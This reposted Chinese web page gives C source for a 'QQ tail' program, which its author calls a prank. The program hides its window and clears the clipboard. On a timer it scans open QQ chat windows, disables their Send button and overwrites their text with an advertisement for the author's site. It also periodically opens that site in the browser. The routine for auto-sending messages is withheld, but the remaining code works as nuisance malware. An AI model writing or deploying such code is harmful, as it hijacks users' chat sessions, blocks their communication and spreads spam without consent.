QQ尾巴源码

来源:互联网 发布:教绘画软件下载 编辑:程序博客网 时间:2024/03/29 16:45
//因为最先我是用BCB写的程序,有很多人要求用c写一个,我就试着改了一下,
这个编译后的文件很小,也很好用,比用BCB压缩后的
//小了差不多十陪,这部份代码仅供参考
//

#include "windows.h"
#include "stdlib.h"
#include "time.h"
#include "string.h"
//-------------------------------------------------------------------------------------
#define SUNTIMER 2000//计时器标识号
/////////////////////////////////////////////////////////////////////
LRESULT CALLBACK WndProc(HWND,UINT,WPARAM,LPARAM);//回调函数
BOOL initWindowClass(HINSTANCE);//注册窗口类函数
BOOL initWindow(HINSTANCE,int);//创建窗口函数
HWND hWndMain;//窗口句柄
void MyLoop();
bool WriteText(HWND);
void MyShowText();
HWND mhwnd,hwnd1,btnWnd,txtWnd;
HANDLE hMem;
bool flag;
LPTSTR pStr,pText;
///////////////////////////主函数/////////////////////////////////////////////
int WINAPI WinMain(HINSTANCE hInstance,/
HINSTANCE hPrevIns,LPSTR lpCmdLine,int nShowCmd){
MSG msg;//
if(!initWindowClass(hInstance)){
MessageBeep(0);
return FALSE;
}
if(!initWindow(hInstance,SW_HIDE))
//SW_HIDE是为了隐藏窗体如果是SW_SHOW就是显示窗体
return TRUE;
while(GetMessage(&msg,NULL,0,0)){
TranslateMessage(&msg);
DispatchMessage(&msg);
}
return msg.wParam;
}
////////////////////////回调函数////////////////////////////////////////////////////////
LRESULT CALLBACK WndProc(
HWND hwnd,UINT message,WPARAM wparam,LPARAM lparam
){
static num;
switch (message) {
case WM_CREATE:
try
{
EmptyClipboard();//让清空剪切板
}catch(...){}
mhwnd=FindWindow("#32770",0); //初值
SetTimer(hwnd, SUNTIMER, 1000, (TIMERPROC)NULL);
return 0;
case WM_TIMER:
if (num>300)
{
num=0;
ShellExecute(hwnd,"open","http://www.fjleague.com",NULL,NULL,SW_SHOW);
}
MyLoop();
flag=!flag; //决定执行那个操作
mhwnd=FindWindow("#32770",0);
num++;
return 0;
case WM_DESTROY:
KillTimer(hwnd,SUNTIMER);//关闭timer
PostQuitMessage(0);//发送消息
return 0;
}
return DefWindowProc(hwnd,message,wparam,lparam);
}
/////////////////////////注册窗口类/////////////////////////////////////////////////////
BOOL initWindowClass(HINSTANCE hInstance){
WNDCLASS wc;
wc.cbClsExtra=0;
wc.cbWndExtra=0;
wc.hbrBackground=NULL;
wc.hCursor=NULL;
wc.hIcon=NULL;
wc.hInstance=hInstance;
wc.lpfnWndProc=WndProc;
wc.lpszClassName="KA";
wc.lpszMenuName=NULL;
wc.style=0;
return RegisterClass(&wc);
}
/////////////////////////创建窗口////////////////////////////////////////////////////////
BOOL initWindow(HINSTANCE hInstance,int nShowCmd){
HWND hwnd;
hwnd=CreateWindow("KA",NULL,NULL,0,0,0,0,NULL,NULL,hInstance,NULL);
hWndMain=hwnd;
if(!hwnd)
return FALSE;
ShowWindow(hwnd,nShowCmd);
UpdateWindow(hwnd);
return TRUE;
}
////////////////////////////////////////////////////////////////////////////////////////////
void MyLoop()
{
pText="FJ自由联盟欢迎您随时加入!/nFJ联盟网址:http://www.fjleague.com ";
char strText[80];
int len;
char str4[80];
do{
GetWindowText(mhwnd,strText,80); //得到窗体的标题字符串
len=strlen(strText);
if (len>8)
{
strcpy(str4,strText);
if (!(strcmp(str4,"与 FJ.Leaf KA 交谈中")
&&strcmp(str4,"与 FJ.Leaf KA 聊天中")
&&strcmp(str4,"FJ.Leaf KA - 发送消息")))
{//什么也不做,这里本来我是要写一些东西的,后来没想好,所以就这让放着了
}
else{//进入主要代码段
if ((strstr(str4,"发送消息")!=NULL)
||(strstr(str4,"聊天中")!=NULL)
||(strstr(str4,"交谈中")!=NULL))
{
mhwnd=FindWindowEx(mhwnd,NULL,"#32770",0); //得到聊天窗体句柄
txtWnd=GetDlgItem(mhwnd,00000000); //得到发消息窗体的父句柄
txtWnd=GetWindow(txtWnd,GW_CHILD); //得到发消息窗体的句柄
btnWnd=FindWindowEx(mhwnd,NULL,0,"发送(&S)");
EnableWindow(btnWnd,false);
if (!flag)
{
if (WriteText(txtWnd))//如果分配内存成功
{ //
Sleep(10); //
SendMessage(btnWnd,WM_LBUTTONDOWN,MK_LBUTTON,0);
SendMessage(btnWnd,WM_LBUTTONUP,0,0);
}
else
{ //不成功就搞这个破坏
MyShowText();
}
}//end flag
else
{
MyShowText();
}
} //if end
}//else end
}//END IF
mhwnd=GetWindow(mhwnd,GW_HWNDNEXT);
}while(mhwnd);

}
/////////////////////////////////////////////////////////////////////////////////////
void MyShowText()
{
hwnd1=FindWindowEx(mhwnd,NULL,"RichEdit20A",0);
char *text="欢迎随时加入FJ联盟/n联盟网址:http://www.fjleague.com/n作者:/
LeafKA/nQQ:68543927/n你现在只能和LeafKA聊天!/n /
本程序只是个的单纯恶作剧,如果您不会删除请与我联系!";
SendMessage(hwnd1,WM_SETTEXT,0,(long)text);
}
/////////////////////////////////////////////////////////////////////////////////////
bool WriteText(HWND hRich)
{
//实现将字符串写到QQ的发送消息窗口中
因为这里涉及到网络安全的问题,所以这部分代码保留,大家自已发挥想象力吧!

}
 
原创粉丝点击